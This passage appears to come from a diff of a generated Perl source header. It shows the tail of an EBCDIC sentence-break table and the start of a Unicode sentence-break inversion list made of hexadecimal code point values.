SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Upper, - SB_Other, - SB_Close, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_OLetter, - SB_Other, - SB_Format, - SB_Other, - SB_Extend, - SB_Other, - SB_Extend, - SB_Other -}; - -# endif /* EBCDIC 1047 */ - -#endif /* defined(PERL_IN_REGEXEC_C) */ - -#if defined(PERL_IN_UTF8_C) - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV _Perl_SB_invlist[] = { /* for EBCDIC 037 */ - 3022, /* Number of elements */ - 148565664, /* Version and data structure type */ - 0, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x5, - 0x6, - 0xB, - 0xD, - 0xE, - 0x15, - 0x16, - 0x25, - 0x26, - 0x40, - 0x42, - 0x4A, - 0x4B, - 0x4C, - 0x4D, - 0x4E, - 0x51, - 0x5A, - 0x5B, - 0x5D, - 0x5E, - 0x60, - 0x61, - 0x62, - 0x6A, - 0x6B, - 0x6C, - 0x6F, - 0x70, - 0x71, - 0x79, - 0x7A, - 0x7B, - 0x7D, - 0x7E, - 0x7F, - 0x80, - 0x81, - 0x8A, - 0x8C, - 0x8F, - 0x91, - 0x9D, - 0x9E, - 0x9F, - 0xA0, - 0xA1, - 0xA2, - 0xAA, - 0xAC, - 0xAF, - 0xBA, - 0xBC, - 0xC0, - 0xC1, - 0xCA, - 0xCB, - 0xD0, - 0xD1, - 0xDA, - 0xDB, - 0xE0, - 0xE2, - 0xEA, - 0xEB, - 0xF0, - 0xFA, - 0xFB, - 0xFF, - 0x100, - 0x101, - 0x102, - 0x103, - 0x104, - 0x105, - 0x106, - 0x107, - 0x108, - 0x109, - 0x10A, - 0x10B, - 0x10C, - 0x10D, - 0x10E, - 0x10F, - 0x110, - 0x111, - 0x112, - 0x113, - 0x114, - 0x115, - 0x116, - 0x117, - 0x118, - 0x119, - 0x11A, - 0x11B, - 0x11C, - 0x11D, - 0x11E, - 0x11F, - 0x120, - 0x121, - 0x122, - 0x123, - 0x124, - 0x125, - 0x126, - 0x127, - 0x128, - 0x129, - 0x12A, - 0x12B, - 0x12C, - 0x12D, - 0x12E, - 0x12F, - 0x130, - 0x131, - 0x132, - 0x133, - 0x134, - 0x135, - 0x136, - 0x137, - 0x139, - 0x13A, - 0x13B, - 0x13C, - 0x13D, - 0x13E, - 0x13F, - 0x140, - 0x141, - 0x142, - 0x143, - 0x144, - 0x145, - 0x146, - 0x147, - 0x148, - 0x14A, - 0x14B, - 0x14C, - 0x14D, - 0x14E, - 0x14F, - 0x150, - 0x151, - 0x152, - 0x153, - 0x154, - 0x155, - 0x156, - 0x157, - 0x158, - 0x159, - 0x15A, - 0x15B, - 0x15C, - 0x15D, - 0x15E, - 0x15F, - 0x160, - 0x161, - 0x162, - 0x163, - 0x164, - 0x165, - 0x166, - 0x167, - 0x168, - 0x169, - 0x16A, - 0x16B, - 0x16C, - 0x16D, - 0x16E, - 0x16F, - 0x170, - 0x171, - 0x172, - 0x173, - 0x174, - 0x175, - 0x176, - 0x177, - 0x178, - 0x17A, - 0x17B, - 0x17C, - 0x17D, - 0x17E, - 0x181, - 0x183, - 0x184, - 0x185, - 0x186, - 0x188, - 0x189, - 0x18C, - 0x18E, - 0x192, - 0x193, - 0x195, - 0x196, - 0x199, - 0x19C, - 0x19E, - 0x19F, - 0x1A1, - 0x1A2, - 0x1A3, - 0x1A4, - 0x1A5, - 0x1A6, - 0x1A8, - 0x1A9, - 0x1AA, - 0x1AC, - 0x1AD, - 0x1AE, - 0x1B0, - 0x1B1, - 0x1B4, - 0x1B5, - 0x1B6, - 0x1B7, - 0x1B9, - 0x1BB, - 0x1BC, - 0x1BD, - 0x1C0, - 0x1C4, - 0x1C6, - 0x1C7, - 0x1C9, - 0x1CA, - 0x1CC, - 0x1CD, - 0x1CE, - 0x1CF, - 0x1D0, - 0x1D1, - 0x1D2, - 0x1D3, - 0x1D4, - 0x1D5, - 0x1D6, - 0x1D7, - 0x1D8, - 0x1D9, - 0x1DA, - 0x1DB, - 0x1DC, - 0x1DE, - 0x1DF, - 0x1E0, - 0x1E1, - 0x1E2, - 0x1E3, - 0x1E4, - 0x1E5, - 0x1E6, - 0x1E7, - 0x1E8, - 0x1E9, - 0x1EA, - 0x1EB, - 0x1EC, - 0x1ED, - 0x1EE, - 0x1EF, - 0x1F1, - 0x1F3, - 0x1F4, - 0x1F5, - 0x1F6, - 0x1F9, - 0x1FA, - 0x1FB, - 0x1FC, - 0x1FD, - 0x1FE, - 0x1FF, - 0x200, - 0x201, - 0x202, - 0x203, - 0x204, - 0x205, - 0x206, - 0x207, - 0x208, - 0x209, - 0x20A, - 0x20B, - 0x20C, - 0x20D, - 0x20E, - 0x20F, - 0x210, - 0x211, - 0x212, - 0x213, - 0x214, - 0x215, - 0x216, - 0x217, - 0x218, - 0x219, - 0x21A, - 0x21B, - 0x21C, - 0x21D, - 0x21E, - 0x21F, - 0x220, - 0x221, - 0x222, - 0x223, - 0x224, - 0x225, - 0x226, - 0x227, - 0x228, - 0x229, - 0x22A, - 0x22B, - 0x22C, - 0x22D, - 0x22E, - 0x22F, - 0x230, - 0x231, - 0x232, - 0x233, - 0x23A, - 0x23C, - 0x23D, - 0x23F, - 0x241, - 0x242, - 0x243, - 0x247, - 0x248, - 0x249, - 0x24A, - 0x24B, - 0x24C, - 0x24D, - 0x24E, - 0x24F, - 0x294, - 0x295, - 0x2B9, - 0x2C0, - 0x2C2, - 0x2C6, - 0x2D2, - 0x2E0, - 0x2E5, - 0x2EC, - 0x2ED, - 0x2EE, - 0x2EF, - 0x300, - 0x370, - 0x371, - 0x372, - 0x373, - 0x374, - 0x375, - 0x376, - 0x377, - 0x378, - 0x37A, - 0x37E, - 0x37F, - 0x380, - 0x386, - 0x387, - 0x388, - 0x38B, - 0x38C, - 0x38D, - 0x38E, - 0x390, - 0x391, - 0x3A2, - 0x3A3, - 0x3AC, - 0x3CF, - 0x3D0, - 0x3D2, - 0x3D5, - 0x3D8, - 0x3D9, - 0x3DA, - 0x3DB, - 0x3DC, - 0x3DD, - 0x3DE, - 0x3DF, - 0x3E0, - 0x3E1, - 0x3E2, - 0x3E3, - 0x3E4, - 0x3E5, - 0x3E6, - 0x3E7, - 0x3E8, - 0x3E9, - 0x3EA, - 0x3EB, - 0x3EC, - 0x3ED, - 0x3EE, - 0x3EF, - 0x3F4, - 0x3F5, - 0x3F6, - 0x3F7, - 0x3F8, - 0x3F9, - 0x3FB, - 0x3FD, - 0x430, - 0x460, - 0x461, - 0x462, - 0x463, - 0x464, - 0x465, - 0x466, - 0x467, - 0x468, - 0x469, - 0x46A, - 0x46B, - 0x46C, - 0x46D, - 0x46E, - 0x46F, - 0x470, - 0x471, - 0x472, - 0x473, - 0x474, - 0x475, - 0x476, - 0x477, - 0x478, - 0x479, - 0x47A, - 0x47B, - 0x47C, - 0x47D, - 0x47E, - 0x47F, - 0x480, - 0x481, - 0x482, - 0x483, - 0x48A, - 0x48B, - 0x48C, - 0x48D, - 0x48E, - 0x48F, - 0x490, - 0x491, - 0x492, - 0x493, - 0x494, - 0x495, - 0x496, - 0x497, - 0x498, - 0x499, - 0x49A, - 0x49B, - 0x49C, - 0x49D, - 0x49E, - 0x49F, - 0x4A0, - 0x4A1, - 0x4A2, - 0x4A3, - 0x4A4, - 0x4A5, - 0x4A6, - 0x4A7, - 0x4A8, - 0x4A9, - 0x4AA, - 0x4AB, - 0x4AC, - 0x4AD, - 0x4AE, - 0x4AF, - 0x4B0, - 0x4B1, - 0x4B2, - 0x4B3, - 0x4B4, - 0x4B5, - 0x4B6, - 0x4B7, - 0x4B8, - 0x4B9, - 0x4BA, - 0x4BB, - 0x4BC, - 0x4BD, - 0x4BE, - 0x4BF, - 0x4C0, - 0x4C2, - 0x4C3, - 0x4C4, - 0x4C5, - 0x4C6, - 0x4C7, - 0x4C8, - 0x4C9, - 0x4CA, - 0x4CB, - 0x4CC, - 0x4CD, - 0x4CE, - 0x4D0, - 0x4D1, - 0x4D2, - 0x4D3, - 0x4D4, - 0x4D5, - 0x4D6, - 0x4D7, - 0x4D8, - 0x4D9, - 0x4DA, - 0x4DB, - 0x4DC, - 0x4DD, - 0x4DE, - 0x4DF, - 0x4E0, - 0x4E1, - 0x4E2, - 0x4E3, - 0x4E4, - 0x4E5, - 0x4E6, - 0x4E7, - 0x4E8, - 0x4E9, - 0x4EA, - 0x4EB, - 0x4EC, - 0x4ED, - 0x4EE, - 0x4EF, - 0x4F0, - 0x4F1, - 0x4F2, - 0x4F3, - 0x4F4, - 0x4F5, - 0x4F6, - 0x4F7, - 0x4F8, - 0x4F9, - 0x4FA, - 0x4FB, - 0x4FC, - 0x4FD, - 0x4FE, - 0x4FF, - 0x500, - 0x501, - 0x502, - 0x503, - 0x504, - 0x505, - 0x506, - 0x507, - 0x508, - 0x509, - 0x50A, - 0x50B, - 0x50C, - 0x50D, - 0x50E, - 0x50F, - 0x510, - 0x511, - 0x512, - 0x513, - 0x514, - 0x515, - 0x516, - 0x517, - 0x518, - 0x519, - 0x51A, - 0x51B, - 0x51C, - 0x51D, - 0x51E, - 0x51F, - 0x520, - 0x521, - 0x522, - 0x523, - 0x524, - 0x525, - 0x526, - 0x527, - 0x528, - 0x529, - 0x52A, - 0x52B, - 0x52C, - 0x52D, - 0x52E, - 0x52F, - 0x530, - 0x531, - 0x557, - 0x559, - 0x55A, - 0x55D, - 0x55E, - 0x561, - 0x588, - 0x589, - 0x58A, - 0x591, - 0x5BE, - 0x5BF, - 0x5C0, - 0x5C1, - 0x5C3, - 0x5C4, - 0x5C6, - 0x5C7, - 0x5C8, - 0x5D0, - 0x5EB, - 0x5F0, - 0x5F4, - 0x600, - 0x606, - 0x60C, - 0x60E, - 0x610, - 0x61B, - 0x61C, - 0x61D, - 0x61F, - 0x620, - 0x64B, - 0x660, - 0x66A, - 0x66B, - 0x66D, - 0x66E, - 0x670, - 0x671, - 0x6D4, - 0x6D5, - 0x6D6, - 0x6DD, - 0x6DE, - 0x6DF, - 0x6E5, - 0x6E7, - 0x6E9, - 0x6EA, - 0x6EE, - 0x6F0, - 0x6FA, - 0x6FD, - 0x6FF, - 0x700, - 0x703, - 0x70F, - 0x710, - 0x711, - 0x712, - 0x730, - 0x74B, - 0x74D, - 0x7A6, - 0x7B1, - 0x7B2, - 0x7C0, - 0x7CA, - 0x7EB, - 0x7F4, - 0x7F6, - 0x7F8, - 0x7F9, - 0x7FA, - 0x7FB, - 0x800, - 0x816, - 0x81A, - 0x81B, - 0x824, - 0x825, - 0x828, - 0x829, - 0x82E, - 0x840, - 0x859, - 0x85C, - 0x860, - 0x86B, - 0x8A0, - 0x8B5, - 0x8B6, - 0x8BE, - 0x8D4, - 0x8E2, - 0x8E3, - 0x904, - 0x93A, - 0x93D, - 0x93E, - 0x950, - 0x951, - 0x958, - 0x962, - 0x964, - 0x966, - 0x970, - 0x971, - 0x981, - 0x984, - 0x985, - 0x98D, - 0x98F, - 0x991, - 0x993, - 0x9A9, - 0x9AA, - 0x9B1, - 0x9B2, - 0x9B3, - 0x9B6, - 0x9BA, - 0x9BC, - 0x9BD, - 0x9BE, - 0x9C5, - 0x9C7, - 0x9C9, - 0x9CB, - 0x9CE, - 0x9CF, - 0x9D7, - 0x9D8, - 0x9DC, - 0x9DE, - 0x9DF, - 0x9E2, - 0x9E4, - 0x9E6, - 0x9F0, - 0x9F2, - 0x9FC, - 0x9FD, - 0xA01, - 0xA04, - 0xA05, - 0xA0B, - 0xA0F, - 0xA11, - 0xA13, - 0xA29, - 0xA2A, - 0xA31, - 0xA32, - 0xA34, - 0xA35, - 0xA37, - 0xA38, - 0xA3A, - 0xA3C, - 0xA3D, - 0xA3E, - 0xA43, - 0xA47, - 0xA49, - 0xA4B, - 0xA4E, - 0xA51, - 0xA52, - 0xA59, - 0xA5D, - 0xA5E, - 0xA5F, - 0xA66, - 0xA70, - 0xA72, - 0xA75, - 0xA76, - 0xA81, - 0xA84, - 0xA85, - 0xA8E, - 0xA8F, - 0xA92, - 0xA93, - 0xAA9, - 0xAAA, - 0xAB1, - 0xAB2, - 0xAB4, - 0xAB5, - 0xABA, - 0xABC, - 0xABD, - 0xABE, - 0xAC6, - 0xAC7, - 0xACA, - 0xACB, - 0xACE, - 0xAD0, - 0xAD1, - 0xAE0, - 0xAE2, - 0xAE4, - 0xAE6, - 0xAF0, - 0xAF9, - 0xAFA, - 0xB00, - 0xB01, - 0xB04, - 0xB05, - 0xB0D, - 0xB0F, - 0xB11, - 0xB13, - 0xB29, - 0xB2A, - 0xB31, - 0xB32, - 0xB34, - 0xB35, - 0xB3A, - 0xB3C, - 0xB3D, - 0xB3E, - 0xB45, - 0xB47, - 0xB49, - 0xB4B, - 0xB4E, - 0xB56, - 0xB58, - 0xB5C, - 0xB5E, - 0xB5F, - 0xB62, - 0xB64, - 0xB66, - 0xB70, - 0xB71, - 0xB72, - 0xB82, - 0xB83, - 0xB84, - 0xB85, - 0xB8B, - 0xB8E, - 0xB91, - 0xB92, - 0xB96, - 0xB99, - 0xB9B, - 0xB9C, - 0xB9D, - 0xB9E, - 0xBA0, - 0xBA3, - 0xBA5, - 0xBA8, - 0xBAB, - 0xBAE, - 0xBBA, - 0xBBE, - 0xBC3, - 0xBC6, - 0xBC9, - 0xBCA, - 0xBCE, - 0xBD0, - 0xBD1, - 0xBD7, - 0xBD8, - 0xBE6, - 0xBF0, - 0xC00, - 0xC04, - 0xC05, - 0xC0D, - 0xC0E, - 0xC11, - 0xC12, - 0xC29, - 0xC2A, - 0xC3A, - 0xC3D, - 0xC3E, - 0xC45, - 0xC46, - 0xC49, - 0xC4A, - 0xC4E, - 0xC55, - 0xC57, - 0xC58, - 0xC5B, - 0xC60, - 0xC62, - 0xC64, - 0xC66, - 0xC70, - 0xC80, - 0xC81, - 0xC84, - 0xC85, - 0xC8D, - 0xC8E, - 0xC91, - 0xC92, - 0xCA9, - 0xCAA, - 0xCB4, - 0xCB5, - 0xCBA, - 0xCBC, - 0xCBD, - 0xCBE, - 0xCC5, - 0xCC6, - 0xCC9, - 0xCCA, - 0xCCE, - 0xCD5, - 0xCD7, - 0xCDE, - 0xCDF, - 0xCE0, - 0xCE2, - 0xCE4, - 0xCE6, - 0xCF0, - 0xCF1, - 0xCF3, - 0xD00, - 0xD04, - 0xD05, - 0xD0D, - 0xD0E, - 0xD11, - 0xD12, - 0xD3B, - 0xD3D, - 0xD3E, - 0xD45, - 0xD46, - 0xD49, - 0xD4A, - 0xD4E, - 0xD4F, - 0xD54, - 0xD57, - 0xD58, - 0xD5F, - 0xD62, - 0xD64, - 0xD66, - 0xD70, - 0xD7A, - 0xD80, - 0xD82, - 0xD84, - 0xD85, - 0xD97, - 0xD9A, - 0xDB2, - 0xDB3, - 0xDBC, - 0xDBD, - 0xDBE, - 0xDC0, - 0xDC7, - 0xDCA, - 0xDCB, - 0xDCF, - 0xDD5, - 0xDD6, - 0xDD7, - 0xDD8, - 0xDE0, - 0xDE6, - 0xDF0, - 0xDF2, - 0xDF4, - 0xE01, - 0xE31, - 0xE32, - 0xE34, - 0xE3B, - 0xE40, - 0xE47, - 0xE4F, - 0xE50, - 0xE5A, - 0xE81, - 0xE83, - 0xE84, - 0xE85, - 0xE87, - 0xE89, - 0xE8A, - 0xE8B, - 0xE8D, - 0xE8E, - 0xE94, - 0xE98, - 0xE99, - 0xEA0, - 0xEA1, - 0xEA4, - 0xEA5, - 0xEA6, - 0xEA7, - 0xEA8, - 0xEAA, - 0xEAC, - 0xEAD, - 0xEB1, - 0xEB2, - 0xEB4, - 0xEBA, - 0xEBB, - 0xEBD, - 0xEBE, - 0xEC0, - 0xEC5, - 0xEC6, - 0xEC7, - 0xEC8, - 0xECE, - 0xED0, - 0xEDA, - 0xEDC, - 0xEE0, - 0xF00, - 0xF01, - 0xF18, - 0xF1A, - 0xF20, - 0xF2A, - 0xF35, - 0xF36, - 0xF37, - 0xF38, - 0xF39, - 0xF3A, - 0xF3E, - 0xF40, - 0xF48, - 0xF49, - 0xF6D, - 0xF71, - 0xF85, - 0xF86, - 0xF88, - 0xF8D, - 0xF98, - 0xF99, - 0xFBD, - 0xFC6, - 0xFC7, - 0x1000, - 0x102B, - 0x103F, - 0x1040, - 0x104A, - 0x104C, - 0x1050, - 0x1056, - 0x105A, - 0x105E, - 0x1061, - 0x1062, - 0x1065, - 0x1067, - 0x106E, - 0x1071, - 0x1075, - 0x1082, - 0x108E, - 0x108F, - 0x1090, - 0x109A, - 0x109E, - 0x10A0, - 0x10C6, - 0x10C7, - 0x10C8, - 0x10CD, - 0x10CE, - 0x10D0, - 0x10FB, - 0x10FC, - 0x1249, - 0x124A, - 0x124E, - 0x1250, - 0x1257, - 0x1258, - 0x1259, - 0x125A, - 0x125E, - 0x1260, - 0x1289, - 0x128A, - 0x128E, - 0x1290, - 0x12B1, - 0x12B2, - 0x12B6, - 0x12B8, - 0x12BF, - 0x12C0, - 0x12C1, - 0x12C2, - 0x12C6, - 0x12C8, - 0x12D7, - 0x12D8, - 0x1311, - 0x1312, - 0x1316, - 0x1318, - 0x135B, - 0x135D, - 0x1360, - 0x1362, - 0x1363, - 0x1367, - 0x1369, - 0x1380, - 0x1390, - 0x13A0, - 0x13F6, - 0x13F8, - 0x13FE, - 0x1401, - 0x166D, - 0x166E, - 0x166F, - 0x1680, - 0x1681, - 0x169B, - 0x169D, - 0x16A0, - 0x16EB, - 0x16EE, - 0x16F9, - 0x1700, - 0x170D, - 0x170E, - 0x1712, - 0x1715, - 0x1720, - 0x1732, - 0x1735, - 0x1737, - 0x1740, - 0x1752, - 0x1754, - 0x1760, - 0x176D, - 0x176E, - 0x1771, - 0x1772, - 0x1774, - 0x1780, - 0x17B4, - 0x17D4, - 0x17D7, - 0x17D8, - 0x17DC, - 0x17DD, - 0x17DE, - 0x17E0, - 0x17EA, - 0x1802, - 0x1803, - 0x1804, - 0x1808, - 0x1809, - 0x180A, - 0x180B, - 0x180E, - 0x180F, - 0x1810, - 0x181A, - 0x1820, - 0x1878, - 0x1880, - 0x1885, - 0x1887, - 0x18A9, - 0x18AA, - 0x18AB, - 0x18B0, - 0x18F6, - 0x1900, - 0x191F, - 0x1920, - 0x192C, - 0x1930, - 0x193C, - 0x1944, - 0x1946, - 0x1950, - 0x196E, - 0x1970, - 0x1975, - 0x1980, - 0x19AC, - 0x19B0, - 0x19CA, - 0x19D0, - 0x19DA, - 0x1A00, - 0x1A17, - 0x1A1C, - 0x1A20, - 0x1A55, - 0x1A5F, - 0x1A60, - 0x1A7D, - 0x1A7F, - 0x1A80, - 0x1A8A, - 0x1A90, - 0x1A9A, - 0x1AA7, - 0x1AA8, - 0x1AAC, - 0x1AB0, - 0x1ABF, - 0x1B00, - 0x1B05, - 0x1B34, - 0x1B45, - 0x1B4C, - 0x1B50, - 0x1B5A, - 0x1B5C, - 0x1B5E, - 0x1B60, - 0x1B6B, - 0x1B74, - 0x1B80, - 0x1B83, - 0x1BA1, - 0x1BAE, - 0x1BB0, - 0x1BBA, - 0x1BE6, - 0x1BF4, - 0x1C00, - 0x1C24, - 0x1C38, - 0x1C3B, - 0x1C3D, - 0x1C40, - 0x1C4A, - 0x1C4D, - 0x1C50, - 0x1C5A, - 0x1C7E, - 0x1C80, - 0x1C89, - 0x1CD0, - 0x1CD3, - 0x1CD4, - 0x1CE9, - 0x1CED, - 0x1CEE, - 0x1CF2, - 0x1CF5, - 0x1CF7, - 0x1CFA, - 0x1D00, - 0x1DC0, - 0x1DFA, - 0x1DFB, - 0x1E00, - 0x1E01, - 0x1E02, - 0x1E03, - 0x1E04, - 0x1E05, - 0x1E06, - 0x1E07, - 0x1E08, - 0x1E09, - 0x1E0A, - 0x1E0B, - 0x1E0C, - 0x1E0D, - 0x1E0E, - 0x1E0F, - 0x1E10, - 0x1E11, - 0x1E12, - 0x1E13, - 0x1E14, - 0x1E15, - 0x1E16, - 0x1E17, - 0x1E18, - 0x1E19, - 0x1E1A, - 0x1E1B, - 0x1E1C, - 0x1E1D, - 0x1E1E, - 0x1E1F, - 0x1E20, - 0x1E21, - 0x1E22, - 0x1E23, - 0x1E24, - 0x1E25, - 0x1E26, - 0x1E27, - 0x1E28, - 0x1E29, - 0x1E2A, - 0x1E2B, - 0x1E2C, - 0x1E2D, - 0x1E2E, - 0x1E2F, - 0x1E30, - 0x1E31, - 0x1E32, - 0x1E33, - 0x1E34, - 0x1E35, - 0x1E36, - 0x1E37, - 0x1E38, - 0x1E39, - 0x1E3A, - 0x1E3B, - 0x1E3C, - 0x1E3D, - 0x1E3E, - 0x1E3F, - 0x1E40, - 0x1E41, - 0x1E42, - 0x1E43, - 0x1E44, - 0x1E45, - 0x1E46, - 0x1E47, - 0x1E48, - 0x1E49, - 0x1E4A, - 0x1E4B, - 0x1E4C, - 0x1E4D, - 0x1E4E, - 0x1E4F, - 0x1E50, - 0x1E51, - 0x1E52, - 0x1E53, - 0x1E54, - 0x1E55, - 0x1E56, - 0x1E57, - 0x1E58, - 0x1E59, - 0x1E5A, - 0x1E5B, - 0x1E5C, - 0x1E5D, - 0x1E5E, - 0x1E5F, - 0x1E60, - 0x1E61, - 0x1E62, - 0x1E63, - 0x1E64, - 0x1E65, - 0x1E66, - 0x1E67, - 0x1E68, - 0x1E69, - 0x1E6A, - 0x1E6B, - 0x1E6C, - 0x1E6D, - 0x1E6E, - 0x1E6F, - 0x1E70, - 0x1E71, - 0x1E72, - 0x1E73, - 0x1E74, - 0x1E75, - 0x1E76, - 0x1E77, - 0x1E78, - 0x1E79, - 0x1E7A, - 0x1E7B, - 0x1E7C, - 0x1E7D, - 0x1E7E, - 0x1E7F, - 0x1E80, - 0x1E81, - 0x1E82, - 0x1E83, - 0x1E84, - 0x1E85, - 0x1E86, - 0x1E87, - 0x1E88, - 0x1E89, - 0x1E8A, - 0x1E8B, - 0x1E8C, - 0x1E8D, - 0x1E8E, - 0x1E8F, - 0x1E90, - 0x1E91, - 0x1E92, - 0x1E93, - 0x1E94, - 0x1E95, - 0x1E9E, - 0x1E9F, - 0x1EA0, - 0x1EA1, - 0x1EA2, - 0x1EA3, - 0x1EA4, - 0x1EA5, - 0x1EA6, - 0x1EA7, - 0x1EA8, - 0x1EA9, - 0x1EAA, - 0x1EAB, - 0x1EAC, - 0x1EAD, - 0x1EAE, - 0x1EAF, - 0x1EB0, - 0x1EB1, - 0x1EB2, - 0x1EB3, - 0x1EB4, - 0x1EB5, - 0x1EB6, - 0x1EB7, - 0x1EB8, - 0x1EB9, - 0x1EBA, - 0x1EBB, - 0x1EBC, - 0x1EBD, - 0x1EBE, - 0x1EBF, - 0x1EC0, - 0x1EC1, - 0x1EC2, - 0x1EC3, - 0x1EC4, - 0x1EC5, - 0x1EC6, - 0x1EC7, - 0x1EC8, - 0x1EC9, - 0x1ECA, - 0x1ECB, - 0x1ECC, - 0x1ECD, - 0x1ECE, - 0x1ECF, - 0x1ED0, - 0x1ED1, - 0x1ED2, - 0x1ED3, - 0x1ED4, - 0x1ED5, - 0x1ED6, - 0x1ED7, - 0x1ED8, - 0x1ED9, - 0x1EDA, - 0x1EDB, - 0x1EDC, - 0x1EDD, - 0x1EDE, - 0x1EDF, - 0x1EE0, - 0x1EE1, - 0x1EE2, - 0x1EE3, - 0x1EE4, - 0x1EE5, - 0x1EE6, - 0x1EE7, - 0x1EE8, - 0x1EE9, - 0x1EEA, - 0x1EEB, - 0x1EEC, - 0x1EED, - 0x1EEE, - 0x1EEF, - 0x1EF0, - 0x1EF1, - 0x1EF2, - 0x1EF3, - 0x1EF4, - 0x1EF5, - 0x1EF6, - 0x1EF7, - 0x1EF8, - 0x1EF9, - 0x1EFA, - 0x1EFB, - 0x1EFC, - 0x1EFD, - 0x1EFE, - 0x1EFF, - 0x1F08, - 0x1F10, - 0x1F16, - 0x1F18, - 0x1F1E, - 0x1F20, - 0x1F28, - 0x1F30, - 0x1F38, - 0x1F40, - 0x1F46, - 0x1F48, - 0x1F4E, - 0x1F50, - 0x1F58, - 0x1F59, - 0x1F5A, - 0x1F5B, - 0x1F5C, - 0x1F5D, - 0x1F5E, - 0x1F5F, - 0x1F60, - 0x1F68, - 0x1F70, - 0x1F7E, - 0x1F80, - 0x1F88, - 0x1F90, - 0x1F98, - 0x1FA0, - 0x1FA8, - 0x1FB0, - 0x1FB5, - 0x1FB6, - 0x1FB8, - 0x1FBD, - 0x1FBE, - 0x1FBF, - 0x1FC2, - 0x1FC5, - 0x1FC6, - 0x1FC8, - 0x1FCD, - 0x1FD0, - 0x1FD4, - 0x1FD6, - 0x1FD8, - 0x1FDC, - 0x1FE0, - 0x1FE8, - 0x1FED, - 0x1FF2, - 0x1FF5, - 0x1FF6, - 0x1FF8, - 0x1FFD, - 0x2000, - 0x200B, - 0x200C, - 0x200E, - 0x2010, - 0x2013, - 0x2015, - 0x2018, - 0x2020, - 0x2024, - 0x2025, - 0x2028, - 0x202A, - 0x202F, - 0x2030, - 0x2039, - 0x203B, - 0x203C, - 0x203E, - 0x2045, - 0x2047, - 0x204A, - 0x205F, - 0x2060, - 0x2065, - 0x2066, - 0x2070, - 0x2071, - 0x2072, - 0x207D, - 0x207F, - 0x2080, - 0x208D, - 0x208F, - 0x2090, - 0x209D, - 0x20D0, - 0x20F1, - 0x2102, - 0x2103, - 0x2107, - 0x2108, - 0x210A, - 0x210B, - 0x210E, - 0x2110, - 0x2113, - 0x2114, - 0x2115, - 0x2116, - 0x2119, - 0x211E, - 0x2124, - 0x2125, - 0x2126, - 0x2127, - 0x2128, - 0x2129, - 0x212A, - 0x212E, - 0x212F, - 0x2130, - 0x2134, - 0x2135, - 0x2139, - 0x213A, - 0x213C, - 0x213E, - 0x2140, - 0x2145, - 0x2146, - 0x214A, - 0x214E, - 0x214F, - 0x2160, - 0x2170, - 0x2180, - 0x2183, - 0x2184, - 0x2185, - 0x2189, - 0x2308, - 0x230C, - 0x2329, - 0x232B, - 0x24B6, - 0x24D0, - 0x24EA, - 0x275B, - 0x2761, - 0x2768, - 0x2776, - 0x27C5, - 0x27C7, - 0x27E6, - 0x27F0, - 0x2983, - 0x2999, - 0x29D8, - 0x29DC, - 0x29FC, - 0x29FE, - 0x2C00, - 0x2C2F, - 0x2C30, - 0x2C5F, - 0x2C60, - 0x2C61, - 0x2C62, - 0x2C65, - 0x2C67, - 0x2C68, - 0x2C69, - 0x2C6A, - 0x2C6B, - 0x2C6C, - 0x2C6D, - 0x2C71, - 0x2C72, - 0x2C73, - 0x2C75, - 0x2C76, - 0x2C7E, - 0x2C81, - 0x2C82, - 0x2C83, - 0x2C84, - 0x2C85, - 0x2C86, - 0x2C87, - 0x2C88, - 0x2C89, - 0x2C8A, - 0x2C8B, - 0x2C8C, - 0x2C8D, - 0x2C8E, - 0x2C8F, - 0x2C90, - 0x2C91, - 0x2C92, - 0x2C93, - 0x2C94, - 0x2C95, - 0x2C96, - 0x2C97, - 0x2C98, - 0x2C99, - 0x2C9A, - 0x2C9B, - 0x2C9C, - 0x2C9D, - 0x2C9E, - 0x2C9F, - 0x2CA0, - 0x2CA1, - 0x2CA2, - 0x2CA3, - 0x2CA4, - 0x2CA5, - 0x2CA6, - 0x2CA7, - 0x2CA8, - 0x2CA9, - 0x2CAA, - 0x2CAB, - 0x2CAC, - 0x2CAD, - 0x2CAE, - 0x2CAF, - 0x2CB0, - 0x2CB1, - 0x2CB2, - 0x2CB3, - 0x2CB4, - 0x2CB5, - 0x2CB6, - 0x2CB7, - 0x2CB8, - 0x2CB9, - 0x2CBA, - 0x2CBB, - 0x2CBC, - 0x2CBD, - 0x2CBE, - 0x2CBF, - 0x2CC0, - 0x2CC1, - 0x2CC2, - 0x2CC3, - 0x2CC4, - 0x2CC5, - 0x2CC6, - 0x2CC7, - 0x2CC8, - 0x2CC9, - 0x2CCA, - 0x2CCB, - 0x2CCC, - 0x2CCD, - 0x2CCE, - 0x2CCF, - 0x2CD0, - 0x2CD1, - 0x2CD2, - 0x2CD3, - 0x2CD4, - 0x2CD5, - 0x2CD6, - 0x2CD7, - 0x2CD8, - 0x2CD9, - 0x2CDA, - 0x2CDB, - 0x2CDC, - 0x2CDD, - 0x2CDE, - 0x2CDF, - 0x2CE0, - 0x2CE1, - 0x2CE2, - 0x2CE3, - 0x2CE5, - 0x2CEB, - 0x2CEC, - 0x2CED, - 0x2CEE, - 0x2CEF, - 0x2CF2, - 0x2CF3, - 0x2CF4, - 0x2D00, - 0x2D26, - 0x2D27, - 0x2D28, - 0x2D2D, - 0x2D2E, - 0x2D30, - 0x2D68, - 0x2D6F, - 0x2D70, - 0x2D7F, - 0x2D80, - 0x2D97, - 0x2DA0, - 0x2DA7, - 0x2DA8, - 0x2DAF, - 0x2DB0, - 0x2DB7, - 0x2DB8, - 0x2DBF, - 0x2DC0, - 0x2DC7, - 0x2DC8, - 0x2DCF, - 0x2DD0, - 0x2DD7, - 0x2DD8, - 0x2DDF, - 0x2DE0, - 0x2E00, - 0x2E0E, - 0x2E1C, - 0x2E1E, - 0x2E20, - 0x2E2A, - 0x2E2E, - 0x2E2F, - 0x2E30, - 0x2E3C, - 0x2E3D, - 0x2E42, 